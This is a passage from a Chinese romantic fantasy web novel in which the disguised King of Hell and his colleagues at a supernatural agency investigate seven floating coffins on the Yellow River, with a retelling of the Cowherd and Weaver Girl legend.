“小璟,你醉了。”
“胡说……我醉了也不会脱你的衣服,我很守礼的。”阎璟一下子笔直站起来。
“我知道。所以这么多年,没人走进你心里。以后,也包括我,对吗?”
阎璟偏过头,努力消化他话里的意思,歪着脑袋想了好一会儿,才重新倒回床上,冷樾顺势用被子将他盖上。“不是……是我的问题。我不能随心所欲的做自己。”
冷樾替他掖好被子,轻声问:“为什么?”
阎璟眼神飘忽,声音渐低,“其实我的身份是……是……”
“是什么?”冷樾望着他的目光,追问下去。
是阎王大人吗?是三界主宰生死的最高执法者吗?
阎璟神情恍惚地晃了晃脑袋,“是……修道之人。”
“修道之人就不能爱人吗?”
阎璟猛的坐起身来,脸颊红扑扑的,眼神却似乎清明了几分,目光前所未有的认真,“冷樾,你人真的很好很好。”
“这是你第二次给我发好人卡了。”冷樾苦笑,“我不想当什么好人,我只想当你男朋友,试用期也行。”
阎璟沉默了。
半晌,他才小声问,“我要是不同意……你会赶我走吗?”
“不会。”冷樾答得毫不犹豫。
“哈!太好了!”阎璟拍手笑起来,心里那块大石头总算落了地,“那我不同意。”
冷樾嘴里发苦,心里泛酸。
就知道会这样!
“那要怎样你才肯同意?”
阎璟再次从被里钻出来,伸手环住在他的脖颈,脑袋在他锁骨处蹭了蹭,摇头道,“放弃吧!年轻人,无论如何,我都不可能同意你做我男朋友的,你在我眼里,就是个毛都没长齐的小屁孩。”
冷樾连忙扶住他的腰身,防止他摔下床。
这人啊……明明男朋友的名分一点都不给,可情侣之间该做的事,倒是一件都没少做。
他是不知道这动作是多暧昧是吧!
嘴上不承认,身体却诚实的很。
“不做男朋友就不做男朋友吧!是我贪心不足,只要你还在我身边就行。”
阎璟虽然醉的迷迷糊糊,但是有件事他记得特别清楚,“可是我只租了一年房子。一年后我就会离开的!”
“不能为了我留下了吗?”冷樾目光微凉。
阎璟再次摇头,特别坚定,“不能。”
冷樾沉默了半晌,“也没关系,你要走我跟你一起就好了。”
“要是下地狱呢!”
“地狱而已,又不是没下过。”
“说的好像真的一样。”阎璟醉后力气大得很,整个人像条八爪鱼一样,扒在他身上,气息喷洒在他的耳畔,酥酥麻麻。
庭院中的花灯,在晚风中轻轻摇曳,灯影落下,明明灭灭。
冷樾叹了口气,保持着半搂半扶的姿势,任由阎璟在自己身上磨蹭好大一会功夫,才将人慢慢放倒在床上,盖好被子。
“小璟,先睡吧。”
阎璟身体不自然动了动,嘴里呢喃,“冷樾,你真的很好很好……真的很好。是我不配!”
冷樾的心像突然是被什么东西攥紧了。“胡说什么,没有谁配不配。”
阎璟却闭上眼睛,乖乖巧巧躺在床上,光影覆盖他一半的脸,一阴一阳,身下的手紧紧拉着冷樾衣角,“你不知道……你不知道我是谁,也不知道将来会面对什么。”
他声音渐渐低下去,像是自言自语,又像是梦呓,“我走过的路太长,见过的离别太多了,我不敢……”
冷樾伸出手,扶过他的发梢,那双眸中,全是满满的柔情。
“我可以等。”
我有很长的时间可以等下去。
可以等你愿意说的时候。
哪怕真的会等上很久很久,哪怕……最后依旧等不到。
44. 被凶的阎王大人
冷樾叹息口气,慢慢起身,去浴室拧了一条温热的毛巾,回来替阎璟擦了擦脸和手,动作轻柔仿佛面前是稀世珍宝。
阎璟在睡梦中微微蹙眉,脸颊碰到温热的毛巾,觉得无比舒服,无意识脸往毛巾的方向蹭了蹭。又觉得不够,便一把抓住冷樾温暖的手,放在自己脸颊,久久没有松开。
花灯明灭时分。
冷樾才从阎璟的卧房内依依不舍退出来,慢步走到湖心亭上,目光扫过,皆是一片狼藉。
石凳边还蜷缩着那个贪杯喝醉不省人事的黄仙儿。
冷樾叹息一声,大手轻轻一挥,一道无形的力量便黄仙儿托起,将她送回了自己的窝。
月色清冷,洒在亭中央,湖底映月,月随湖水,风起微漾。
湖心亭边的倒映着冷樾那身修长孤冷的身影,只可远观,全身上下透着六个大字:神圣不可侵犯!
哪怕他是神圣不可侵犯的圣人,也有无奈。原因与他,只因目光所及之处,一地的凌乱。
那双深深复杂的眼眸在夜空流转,叹息一声。再一挥手,一道柔和的白色,无声的从他脚底散开。所到之处,污渍全部消失殆尽,物件飘零归位。
湖心亭上焕然一新,一切井然有序,恢复如初,月光依旧,静谧非常。
新的一周生活开始了。
阎璟刚坐到自己的工位,手里捧着冷樾专门给他买的保温杯,喝着温热的鲜牛奶,吃着冷樾给他做的蔬菜三明治,一切都很美好,只要忽略桌面上那个震动不停的手机就行。
太吵了!
“欢迎新人加入伦晖。”
拿过来一看,A组部门群里,清一色的“欢迎欢迎,热烈欢迎!”排着队往下滚。
他面无表情扫了一眼,手指悬在屏幕上方,纠结好一会,这不接,显得不合群,接了,又觉得甚是无聊。
这时,旁边的白念生已经利落地复制粘贴完,笑嘻嘻朝他这边凑了过来。
不等他开口,阎璟就知道他想说什么,侧头说道:“又去扒人家祖宗十八代了?”
“什么叫扒呀,这叫信息整合。”白念生挑挑眉,“而且这回的新人,跟你可熟得很,老朋友呢。”
老朋友?除了冷樾,阎璟还真不认识其他什么好朋友。
“别胡扯。”
话音刚落,孟小七已经熟练带着新人熟悉环境,朝他们这边走过来了。
白念生用眉毛一扬,示意阎璟朝后看。
阎璟转身看去,跟在孟小七身后的人,竟然是林小软。
“是不是老朋友?”白念生压低声音问,话里带着促狭。
阎璟眼皮一跳,这女孩怎么会入职伦晖?
绝对有猫腻!
原本乖巧跟在孟小七身后的林小软,目光突然定格在阎璟身上,弯起眉眼,朝他轻轻挥了挥手。
白念生看热闹不嫌事大,凑到他跟前,在一旁好心提醒,“快看,人家小姑娘跟你打招呼呢!”
阎璟横了他一眼,没吭声,转身坐回自己工位,只当没看见,开机准备工作。
就在此时,一条娱乐新闻弹窗,毫无预兆跳了出来,覆盖整个屏幕,将屏幕界面遮得严严实实。
标题字号大得扎眼:《密室恐怖是假的,攻把受护在身后那一刻,全网心跳是真的!》
白念生吊儿郎当晃悠到他身后,趴在他肩上,在他头顶吹了个响亮的流氓哨,语气里满是幸灾乐祸,“哟呦呦呦!阎小璟,你要火了啊!”
阎璟整个人僵在屏幕前,头皮一阵发麻。
完了,他要暴露了。
地府里那群活爹,怕是顺着味儿就能找过来。
要说,林小软也正是看到这个热帖,才一路摸到了阎璟的公司。
这次在同学怂恿下投了简历,没想到真被录用了。而且入职第一天就见到了心心念念的小哥哥。
这是什么神仙运气!
可阎璟却觉得这运气简直烂透了。
他一把拽过身后的白念生,自己让开位置,将人按在工位前,“快,黑掉它。”
白念生不想动手,依旧是一副看戏的腔调,伸出那双手,来回抚摸观赏,特别矫情,“你瞧瞧我这纤纤玉手,哪干得了这么粗鲁的活儿。”
“……”阎璟深吸一口气,上去恶狠狠掐住他脖子,嘴上说出的话却软中带娇,“求求你了,帮帮忙吧!”
白念生嘎嘎直乐,傲娇的表情,“找你绯闻男友去啊。”
“谁啊?”阎璟一愣,反应过来,试探一问,“冷樾?”
白念生嘿嘿笑起来,掰开两侧他掐在自己脖颈上的手,两手一摊,“哎!是你自己承认的,我可什么都没说。”
阎璟特别无语,“现在除了他,我还有别的绯闻吗?”
白念生想了一下,摇摇头,语气诚恳,“你现在啊,除了他,就没第二个绯闻对象了,帖子都被删掉了。”
“真的?”
“真!比珍珠还真。”白念生暗中查过。
”那就好。”阎璟下意识松了口气,随即一怔,他为什么要松口气?跟冷樾的流言蜚语难道就不重要了吗?
正想着,总监室的门忽然开了。冷樾和云为衫一前一后从里面走出来,面色严肃。云为衫神情凝重,冷樾则低头专注,看着手中的平板,越看眉头越皱!
这场景似曾相识。
阎璟转头询问白念生,“他们又要去开会吗?”
白念生一见云为衫的表情不对,忽然站起身,小声说道:“也可能出事了。”
这人肯定又在拿自己刷乐,阎璟学着他之前的语气,“人间界能出什么大事,别杞人忧天。”
白念生这次预感很不妙,“这次,恐怕真出事了。”
“你又开玩笑呢!狼来了的故事,你听过没有,我才不会上当呢!”
阎璟只当他在逗自己,拿起保温杯,慢悠悠喝起牛奶,牛奶在唇边形成一圈奶盖。
就在这时,冷樾的目光落向了他们这边。云为衫恍若如梦初醒,对着他们方向扬声道,“四组和八组带好东西,跟我走。”
啊?走去哪?
阎璟还处在懵逼的状态,后方的安饶熟练把桌案上自己的东西一扒拉,闻不聊腰间夹着一个封印的檀木盒子,二话不说,已经快速迈步跟上两人。
“就知道。”白念生将嘴里的棒棒糖往垃圾桶一抛,拽起阎璟也大步追了上去,阎璟甚至还没来得及放下怀里的保温杯。
就这么急?
电梯轿厢里,阎璟和白念生最后挤进去,电梯一路向下,穿过好几层结界,阎璟被一圈人围在轿厢正中央,俨然成了C位。
冷樾就在他身后,目光垂落,能看见他头顶的发旋。没人说话,气氛微妙。
阎璟更是一动也不敢动,只能低头看鞋面。
“东西都带了吗?”云为衫侧过身问了一句。
安饶他一贯比较放心,闻不聊虽然话少,做事却十足可靠。白念生嘛,实力遇强则强,虽然平时吊儿郎当,但关键时候也从不会掉链子,孰轻孰重一向分得清,至于阎小璟嘛……
“带齐了。”安饶朝和
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尚看了一眼。
带什么?
阎璟又是一脸茫然,他怎么完全没听说要带什么东西。
“阎小璟?”云为衫探头瞥了眼阎璟怀里的物件,“你带了什么?”
阎璟默默转过头,对上她的视线,露出怀里那个卡通版阎王在人间形象的保温杯。
“……”云为衫原本和蔼可亲的嘴角,一下子耷拉下来,顿觉无语,刚想发作,又对上后方冷樾投来的视线,到嘴边的粗话硬生生又咽回肚子里去,违心的从牙缝里挤出一句,“水杯……还挺可爱的,跟你挺配。”
阎璟尴尬笑了两声。
空气再次沉默几秒……
云为衫终于忍不住了,突然声音骤然变大,把周围人吓了一跳,“我受不了了阎小璟!你出去跑业务,不带符箓,不带铜剑,不带菩提珠,好歹带个能保命的吧?带个保温杯算怎么回事!”
阎璟也被她突然拔高的声音吓得身体颤,身体不断往后退,后背撞上后面的冷樾,冷樾扶着他的肩膀,手心的热度透过衣裳传入他的身体。
阎璟有点不自然,遂又慌忙站直身体。苦着一张脸,难为情的看向云为衫,“可你说的那些,我都没有啊。”
“那你平时出去处理业务用什么?”
阎璟回想了一下,他似乎只需要往那儿一站,那些鬼东西就会自动跪下,压根用不上什么道具。但这理由实在说不出口,只好含糊道,“赤手空拳……算吗?”
“……”云为衫彻底无语了。
叮——
“电梯到了。”冷樾语气清冷,提醒诸位该出去。又轻轻拍了拍阎璟的肩,率先侧身走了出去。临走前,他还瞥了云为衫一眼,丢下一句:“差生文具多。”
“你……”
云为衫抬脚很上,临走前瞥了一眼阎璟,“你男人真不是个东西。”
闻不聊拍拍他肩膀什么话也没说,大步跟上。
安饶也是一样,拍了拍阎璟肩膀还唉叹一声。
只有白念生,把阎璟搂过来安慰,“没事没事,那女人,可能更年期到了,别理她。”
阎璟一头问号,“不是,我做错什么了?”
就只是没来的及放下保温杯而已。
B7层!传送结界门前。
那是一扇被一层白雾朦胧覆盖的门,门内场景如同海浪的水波纹一般,不断变幻。
阎璟是第一次进来,惊讶万分,中央一颗巨大的水晶球悬浮在半空。
几人踏入光阵之中,周边光线被拉成了无数道虚幻的线条,目光所及,皆为世界各地名筑。
云为衫熟练定位,随手一挥朝水晶球里打入一道白光,球体慢慢发出光晕,线条延展,水波变幻,将整个世界缩小,像张纸一样,平铺在半空之上。
一步跨出,已是千里之外。
阎璟稀奇到不行,低头询问白念生,“这无论去何地都能传送吗?”
白念生点头,“有点地方距离甚远,人间那些通行工具效率太慢,飞机坐个几小时,到达时黄花菜都凉了。所以,凡是需要传送阵的都可以来这里,节省时间。”
“上次你去支援,也是走这?”
“嗯。”白念生点点头。
阎璟心想,这不就是压缩版的缩地千里嘛!
有点意思。
水晶球发出阵阵白光,直到最后一个坐标数字被点亮,一道白光幕覆盖整片区域,地图无限放大。
黄河西来决昆仑,咆哮万里触龙门。滚滚黄河水,仿佛就在眼前,
“走吧!”
45. 黄河七星浮棺事件1
阎璟一只脚刚踏进黄河边,就被满天飞的风沙,糊了满脸。
旁边几位大能,也是纷纷抬起手臂挡脸,冷樾视线快速在周围扫视一圈,在没人注意的角落,一把将阎璟拉到自己身后。
阎璟还没反应过来,抬头就看到冷意坚实可靠的后背,可他不想让别人觉得自己特矫情,于是三番两次冒出头来。
“站好,别闹。”冷樾的声音一如既往地冷清,冷清中又夹杂点温柔
谁闹了!阎璟想,他可是很严肃的。
“我呸呸呸……上次来也没安装鼓风机呀!”白念生半眯着眼睛,神吐槽,“感觉我嘴里能吐出半斤沙子。这邪门玩意就是这么待客的吗?一来就给个下马威。”
白念生侧身避让,看到阎璟落后一步躲在冷樾身后,给他竖了一个中指。
阎璟看不懂他的意思,学着他的动作,也右手竖起中指。
白念生有些无语:“……”
云为衫淡定地拉了拉衣领,把衣领拉到最高,安饶则直接掏出口罩戴上,动作行云流水。
只有闻不聊,相当淡定深吸一口气,“阿弥陀佛。这风沙中,有一股浓郁的……尸气。”
安饶侧转过脸,一脸想打人的神情,“……和尚,你能不能别用形容美酒的语气,说这玩意?”
白念生开团秒跟,“就是!不知道的,还以为你在品酒呢。”
此时,他们所在的地方,是陕西与山西交界处的晋陕峡谷,人称“鬼门关”的黄河段。
人间界的鬼门关可不是白叫的!
“黄河九曲十八弯,水流湍急,漩涡密布,自古便是事故频发之地。”闻不聊继续用鼻子轻轻嗅了嗅,“而且尸气浓度,早已超标了。”
“还用闻,看也看的出来。”云为衫望着不远处天空上方飘荡的黑气,“上次还没有这么离谱。”
“离离原上普,吹风吹又生。正常!”白念生在一旁安慰她,“正所谓,邪门的地方不可能一次性就解决,总得多来几次!”
“谁说的?”
“墨菲说的!”
云为衫佯装朝他肩膀打了一下,却压根没用力,“别贫了。”
阎璟被冷樾不动声色地护在身体靠后的位置,低着头,不言语,自从来到这个地方,他就感觉自己身体有点不对劲,说不出来的难受。
中间是白念生和云为衫,妥妥C位,另一侧是安饶和闻不聊和尚。
“你们是说黄河浮棺?”原本有点不舒服阎璟,突然想起来,从冷樾身后探出个脑袋,“这事不是解决了吗?我前几天还在新闻上看到[黄河奇观重现,专家称系自然现象]的报道。”
几人低下头没有回答他的话,只有冷樾,左手捧着平板,右手掐指,指诀变化万千,对应平板上八卦图案旋转不停,“云组长当时只解决了一个?”
“一个?一共几个?”
冷樾给他看着图案上浮现的红色标记,“标记上来看,有问题七处。”
话题一转,问,“此地的捞尸人呢?还活着吗?”
闻言,云为衫立马上闭眼,感应了一会,突然眉宇间微蹙,表情微妙,半晌后才睁开眼睛,垂下眼眸。
指着不远的岸边之上,那座摇摇欲坠孤零零的石屋。“此地的捞尸人,名叫王老六,五十来岁,据说有一双,能看透水下三丈的神目。这会子还没出现……”
她顿了顿,“……从生物学意义上来说,多半是不在了。”
死了?又是死于异端?
不可能啊!他没有接收到预警!
阎璟躲在冷樾背后,脑袋靠在他肩膀上做掩护,闭上眼感应一下,的确没有发现异常。
那就只有一个可能,想必这捞尸人的命数线是自然终结的,属于寿终正寝的状态,难怪大范围筛查时,没有异常警报。
可此地黑气弥漫,那尸气形成的怨念之气,盘踞半空之上,一看就不是什么善地。
冷樾以为阎璟被风沙迷了眼,回头问了一句还好吗?阎璟不说话,只是轻轻摇摇头。
他又回头看看那座不远处石屋,转过头,果断下令,“白念生,结界。”
不能别让普通人误打误撞闯进来,看到一些不该看的,到时候解释起来麻烦。
“得嘞!”
白念生点点头,瞬间明白他的意思,果断往前一步,一跃而起,直接飞向半空,悬浮在波涛汹涌的黄河之上。
随即在空中召唤出判官笔,往天上一抛,笔身见风就长。
刹那间,整个判官笔,如同孙悟空的金箍棒一样,无限放大。
笔尖朝下,一滴浓墨,坠入虚空。
墨迹在空气中渲染成黑白之色,然后迅速向四周蔓延开来。
不出片刻,方圆百里,几处峡谷,连山带水,尽数笼罩在结界之中,就连那满天黑气也圈在其中,无处躲藏,四处横行。
白念生朝远处,朝下面仔细观察一会,才指尖捏决,伸手收回笔,稳稳落地。
只是下来时表情异常凝重,“刚刚布结界时,我看了一眼水底。”
“看到了什么?”几人都看向他。
“除了几处漩涡点,其他地方都太安静了。”白念生皱眉,“上方黑气蔓延,下面古井无波,是为何?”
“想必我们要找的就是这几处漩涡了!”
一旁闻不聊的目光忽然盯着某处,“那里有个死人。”
“过去看看吧!”大多数人心里猜测,多半就是此地遭遇不测的捞尸人。
果然,众人顺着他的目光看过去,只见一具老年男性尸体靠在石屋后墙,手里还紧紧握着一个老式的警报器。
安饶蹲下检查尸体,“骨头全断了。死前没受什么罪,直接过去了。”
冷樾思量一会,“先把人抬进屋内,把前后的事捋一下。白念生,你负责记录。”
“为什么又是我?”白念生抗议。
“因为你手速快。”冷樾面无表情,“上次写报告,你就比阎璟快半小时,值得夸奖!”
阎璟心想:这事过不去了是吧。
冷樾这虚夸实贬的语气让白念生不乐意,“你……公报私仇!”
冷樾看都不看他,“你想多了。”
两人话音刚落,黄河上突然黑气凝聚,射出道道黑气,直面朝几人袭来。
“卧槽嘞?我们还没做什么呢!它们还先生气了!”白念生直接跳起脚来!
冷樾眼疾手快,直接把阎璟往身侧一揽,退到众人身后,动作熟练,惹得几人纷纷侧目,又十足无语。
闻不聊反应最快,直接打出一道慈悲掌,掌风带着佛光,犹如五指压境,瞬间将那道黑气冲散得干干净净。
“先进屋!”云为衫大喊道。
几人迅速退到石屋当中,白念生和安饶顺便把王老六的尸体也搬了进来,此刻正安详的躺在地上。
白念生的判官笔在王老六额间一点,一道半透明的魂体,从额间慢慢浮现在半空。
冷樾动作麻利的掏出平板,开始登记王老六的在册信息。
王老六的魂体一看到云为衫,仿佛见到家人一般,面露喜色,“云组!您可算来了!”
云为衫叹了口气,“老六啊,你这是……”
王老六这才注意到躺在地上的自己,看着自己那张发白发青的脸,着实让他愣了愣,然后一拍脑袋,“哦对,我好像……死了。
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”
“究竟发生了何事?”云为衫赶忙问道,“为何突然间,黄河上方,黑气弥漫?”
王老六不好意思挠了挠头,虽然魂体挠头,没什么实际触感,但这个动作一时半会还改不掉。
“都怪我,太大意了。我以为云组你已经将那具浮棺带走,就没事了。
所以想着下去看看,还有没有漏网之鱼。
没想到刚下河底,就被什么东西缠住了脚,然后我听到什么声音。”
他顿了顿,似乎在回忆,“那东西冰凉冰凉的,力气大得很。
我挣扎之下,也不知道碰到了什么机关,就听见咔嚓一声,接连几道黑气直飞冲天,也把我卷了上去。”
白念生上前一步,忙问,“然后呢?”
王老六叹息一声,“然后我就摔死了。”
这语气平静的好像像在说,然后我就去吃了碗面。
白念生:“……”
这死得也太随便了吧!
“云组长,你上次来的时候除了已经浮出水面的浮棺外,还发现了什么?”冷樾转向云为衫。
云为衫回忆道,“当时只是处理了一具浮棺,临走前也警告过王老六,不要接近那片特定的水域。
“因为那棺材邪门得很,还会自己移动位置,我和小白,小道士,小和尚费了半天劲,才把那副棺材镇压住,封印给带了回去。”
“棺材上有没有特殊符号?或者留下什么线索?”阎璟问。
云为衫说,“这么一说,当时我追下去看过,确实水下有一片古建筑遗迹,有点像是……古代的祭祀。”
闻不聊突然感觉后背发凉,“先别聊了各位,你们有没有觉得,这里温度比上次来降了很多?”
这么一提醒,安饶和白念生也察觉到了。
确实,明明是初夏,万物复苏的时节,这石屋里却冷得像是开了仅有十度空调,还是对着人直吹的那种。
此时,冷樾手中的平板上,八卦图的图案又开始疯狂旋转,变得混乱不堪。
他语气平静,眉头微微紧皱,“有不好的东西要出来了。”
几人同时望向窗外。
安饶直接朝着门后,窗后放置几道符纸。符纸化成防御结界,将石屋层层包裹住。
安饶这边的符阵刚布好,突然,外面狂风大作,暴雨雷鸣。
天空黑得瞬间像被泼了墨,闪电在其中穿梭,像是有天大的冤屈在在跟天鸣不平。
“冷樾,还好你在对这边多有关注。”云为衫感叹,“不然此地异像一旦泄露,估计上新闻是免不得了的。”
阎璟在一旁听的十分无语,“这么大的事,你们的关注点居然是上新闻?不是应该担心会不会牵连无辜百姓吗?”
安饶在那边接了一句:“乱世先杀……”
白念生自动接过,“圣母啊!”
阎璟小声嘀咕着,“我是觉得百姓的安危比较重要。”
“nonono,还有比上新闻更大的事吗?”几人转头同时回他,表情严肃。“会扣绩效的!”
关乎到钱,很要命!
阎璟:“……”好吧,这帮人的脑回路,他永远跟不上。
冷樾在一旁冷静地处理完王老六的魂体,转头对众人说,“别闹了,接下来,诸位可能要费点心了。”
云为衫点点头,“是啊!上次解决了一个,这次冒出来六个。”
“等等,六个加一个……”白念生掰着手指数,“这是七星浮棺!”
“阿弥陀佛,恭喜你,云组长,中奖了。”闻不聊朝冷樾漫不经心看了一眼,走过去淡然的拍拍白念生的肩膀,“你也别太激动,一会有的忙。”
46. 黄河七星浮棺事件2
“何止中奖,还是大□□!”白念生话刚落下又遭到一阵毒打。
冷樾在屋内随便找了个位置坐了下来,阎璟也跟在他身后坐了下来,这个节骨眼上,似乎只有等。
等黑气散去去,等河面平静。
闻不聊盘腿坐在唯一的那张石床上,缓缓闭上眼睛打坐。
白念生和安饶一人一个窗户,盯着外面的动静。
冷樾一直在关注平板上的慢慢移动的标记,果然如云为衫所言,棺材是移动的。
但是移动的轨道却是固定的路线。
云为衫蹲在地上,双手合十,跟王老六做最后的道别。
阎璟从踏入此地后,心里很不舒服,现在放松休息,所有的特征都显现出来,头重脚轻,昏昏沉沉,他何时身体虚弱至此!
冷樾第一时间察觉到他的异状,忙扶着他,“还好吗?”
阎璟冲他摇摇头,“不怎么好,头晕。”
冷樾把他手腕拉过来,三指并排搭在他脉搏上,仔细探查。
脉搏跳动很快的,除此之外,也没有其他症状,“小璟,你什么时候开始头晕的。”
阎璟回想一下,“就刚刚。”
“靠我身上睡一会吧!”冷樾坐的靠近了些,把人脑袋搁置在自己肩头,“这个情况不知道要持续多久,先补充体力。”
阎璟目光扫了一圈,大家都在忙,没人关注自己,于是,顺着冷樾的力道,把头靠就上去,缓缓闭上了眼睛。
云为衫转过头看到已经陷入浅眠的阎璟,刚想说话,就看到冷樾食指竖在嘴边,示意她噤声。
云为衫毫不客气白他一眼,转身去找白念生去了。
子夜时分,没等河面黑气平静,却突然无缘无故又起黑雾。
冷樾想叫醒阎璟,突然发现,阎璟呼出的气滚烫,一摸额头,更是烫的吓人。
一时竟慌了神,把人抱在怀里,轻声呼唤:“小璟,小璟?醒醒……”
众人听到冷樾的叫声,纷纷回头,忙问怎么了?
冷樾摸着阎璟的脸,“发烧。”
发烧?白念生上前一步,探了下阎璟的身体,“温度这么高,人非得烧傻不可。”
人可能会烧傻,可阎王大人不会。
阎璟听到嘈杂的声音,迷迷糊糊睁开眼睛,见众人都围在他身边,自己一时竟搞不清状况,“你们都看我做什么?”
白念生一脸担忧,“你发烧了,你不知道吗?”
“我发骚了?”阎璟睁大眼睛,不可置信。阎王大人找自从会玩高科技,冲浪速度绝逼一流啊!
“……”
众人陷入无语状态,前一秒还在担心,后一秒直接打回原形,尤其白念生,就多余担那份心。
“是发烧!发烧!少冲点浪吧你,还有,你没感觉自己身上很烫吗?”白念生急红了眼,再三强调。
阎璟点点头,“听你一说,我就感觉到了,头昏,耳鸣,甚至还听到了美妙歌声。”
歌声?
众人一惊,慌忙回头!
“有情况。”安饶的目光从阎璟身上转移到窗外,“各位,仔细听。”
只见那铺天盖地朝这边笼罩过来的浓雾之中,真的隐隐传来女子歌声,曲调凄婉,甚是悲凉,听着声音源头,像是从黄河底部传上来。
阎璟挣扎着从冷樾身上起来,“就是这声音,特别动听,还诱人。”
“诱得你发骚了?”白念生怼他一句,然后就看到冷樾目光里带着寒气朝他射过来,“得!”
护犊子!
“除了头晕还有没有别的。”冷樾一脸担忧之色,后悔把阎璟给带了来,其实不带阎璟,事情也不会怎么样!只是自己贪心想跟他在一起,没想到他的身子已经虚弱至此!
阎璟轻摇摇头,“刚刚睡会好些了,别担心。我的身体哪里就虚到那种地步。先把眼前正事办了再说,放心吧?我不会拖后腿的。”
冷樾表情有点生气,当然是生自己的气,“都是我的错,我没照顾好你。”
“行了,你们小两口能不能回去再腻歪矫情,眼前什么情况不知道啊!”云为衫毫不客气吼了一声,让旁边几人都捂着嘴偷笑。
阎璟有点不太好意思,耳尖绯红。
“确定没事?”
“嗯,放心吧!”
冷樾再三确定阎璟没事后,打算推进事件速战速决,开始拿出平板,在紧凑狭窄的石屋里投放全息映像。
“诸位,按照地图的显示,我们现在正处黄河龙脉之上。
龙脉上共有七处点位,分别对应天上北斗七星阵。
每处阵眼都有一口被镇压的漆黑棺材。
我们得先弄清楚这七个棺材的由来,才能拿出相应的对策。云组长,得麻烦你将你封印的那口棺材拿出来。”
那口封印的棺材不在云为衫身上,反而闻不聊手上拿着檀木盒从后面走出来,上面正儿八经贴了几道符,盒体泛着幽光。
除冷樾和阎璟外,几人掐诀齐开天眼,透过盒体看到里面那个被封印的棺材。
冷樾没有开天眼,是因为他本身就能看到里面,阎璟自是不用多说,再弱也不会比眼前几个差到哪里去。
那棺材不知道是什么木头所制,经年长年累月黄河之水的浸泡,却未腐朽。棺材周边刻着奇异的符文,但大多已经被磨损差不多了,看不真切,整个棺材本身泛着幽幽绿光。
“上面的符文应该是镇压用的,因为年代久远,所以失效了,才会让棺材浮起来,被我们发现。”云为衫说。
此时,外面的歌声越来越清晰,就好像真的有一个妙龄少女,在你耳边吟唱,唱的是什么:天河阻断姻缘路,千年镇压恨难消..……谁人能解心头锁,还我自由上九霄。
阎璟觉得奇怪,这唱的不是织女和牛郎的故事吗?
众人也是十分不解。
此时门外的声音已经越来越近,声音渐渐布满石屋内,音波发动攻击。
闻不聊手里的镇压的那口棺材似乎听到那声音,开始躁动不安!
安饶啧一声,随手又贴几道符箓,可是只能管一会。没多久,又开始跟外面那声音心有灵犀的互动起来。
阎璟本来就头疼,现在更是嫌吵的慌,一手拍在那封印的檀木盒上,有点怒意,“吵死了。”
一瞬间,鸦雀无声!
檀木盒体不再动弹,连门外的声音都立马停住,呜呜咽咽声波由近渐远退了回去。
几人齐刷刷冲阎璟竖起大拇指,“初生牛犊不怕虎。”
“赞!”
阎璟愣神片刻,他刚不小心泄了威严不好意思回头朝冷樾看了一眼,有点不好意思,“它很吵人,对不对?”
“对,做的很好!你做了他们想做但不敢做的事!”
阎璟嘴角扬起一抹笑。
闻不聊轻捻佛珠,“你们有没有听到那首曲子完整唱的什么?”
“唱的应该是牛郎织女的故事,你们有谁知道牛郎织女的故事?”云为衫问。
白念生从一旁椅子上跳下来,“你应该问,这里有谁不知道牛郎织女的故事。”
“来来来,你讲讲!”
“不就是织女牛郎相爱,被王母娘娘拆散了嘛!刚刚那句歌词唱的就是天河阻断姻缘路,不就是说的如此。”
云为衫虽说狐仙,但对于天上的隐事知道的不是很清楚。闻不聊又是个六根清净的和尚。安饶是人类,对牛郎织女的故事,大概也只有小时候在课本里看到的民间版本。
在座各位,要说知道实情的,除了冷樾,那就是阎璟这个小阎王,毕竟牛郎死后,下了地狱还是上了天堂,都是他说了算。
“其实,织女是个职业,而且织女原本也不叫织女。”阎璟声音浅浅,似乎不想多说这段往事。
云为衫眼睛一亮,“你知道?”
阎璟被他目光瞧的心慌,不由往冷樾身边凑了凑,冷樾顺势揽住他的腰身,鼓励他,“说罢!”
得到冷樾的首肯,阎璟才鼓起勇气,将那段尘封的往事脱口而出。
“但是先说明,我……我是在一本古老的书籍里翻到过,真实性有待考究。”阎璟不管,首先把预防针打上,免的显得自己知道很多内幕,被这些人怀疑上。
“嗯嗯,没事,说!”安绕和闻不聊也凑了过来。几人围绕在阎璟周围,目光炯
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炯朝着他看。
“传说上古时代,天地一片混沌之时……”
“停!”阎璟刚说第一句,就被白念生打断了,“你怎么不从盘古开天辟地开始说呢!”
安饶一旁帮腔,“有何区别,他都上古时代了,哎呀,快进快进……”
阎璟苦笑,按按额角,头疼,“那我长话短说……混沌初始,天地无色,当时天帝大老爷就在天上人才市场发布一个公告,上书仙女们哪个谁能造出色彩来,就封她为织女,让他享有天庭编制。
首当其冲就是天帝七个孙女。
可是仙女们才疏学浅,织出的布不是白的,就是灰的,其中小七仙女比较聪明,想起来用花园里七色花瓣给纱布染色,于是便织出了五彩缤纷的彩纱。
老天帝高兴,便册封小七仙女为织女。又当即下令,白天让天空穿白纱,晚上穿灰纱,早晨和傍晚穿彩纱。
自此,小七仙女便享受天庭正式编制。”
安饶在一旁拍手,“公务员,杠杠的!”
“这是织女的由来。”云为衫狐疑问。
“是的。”
“继续。”白念生挑了下眉。
阎璟继续:“后来就是人间界流传的美化版本,前面大差不差,不过我知道的后面就可能跟大家不太一样。”
“哪不一样?”安绕问。
阎璟:“某日,织女和其他仙女们下凡收集色彩,因沾染许多凡尘,于是决定在河中沐浴洗尘后,再回天上。
恰逢这时,河边有头吃草的老牛,老牛是个有道行的,跟着他的主人吃不饱穿不暖,于是,灵机一动,想方设法把七个仙女的衣服全部叼走了。”
“不是牛郎偷衣服的吗?”安饶一脸问号。
白念生打就他一下,“好好听,别打岔!阎小璟,你继续。”
阎璟继续说道:“其他几位仙女没有衣服倒是没什么,而织女那件衣服刚好是工作制服。”
“完了!”
“是的,要完蛋!天上那种工作强度,规矩森严,工作服丢失,回到天上,必受天罚。
老牛找到主人牛郎,将那件衣服送给他,又怂恿牛郎一定要娶了织女,这样才会有好日子。”
牛郎为了能过上好日子,不再被村上的人看不起,于是听从老牛的建议,威胁织女必须和他成亲,不然不会还她衣服,织女无奈,为了拿回制服,只能被迫和牛郎成了亲。”
“然后呢?”
“织女原本只是缓兵之计,谁知,牛郎此人卑鄙无耻,村上的人知道他娶了仙女,纷纷夸他有本事,他每天都是飘飘然,生怕织女有一天离他而去,于是想到用孩子来拴住织女。
再后来的事你们都知道了。
直到有一天,织女趁着牛郎下地干活,偷偷拿回衣服,这才回到了天上。
只是她没想到,牛郎在老牛的帮助下,居然有胆量追了上去,还被王母发现了,于是,直接将牛郎打回了人界。
织女也受到了惩罚,永被囚禁在天河东边的云锦宫内,永世不得外出。
从那以后,天上渐渐就失去了织女的消息。”
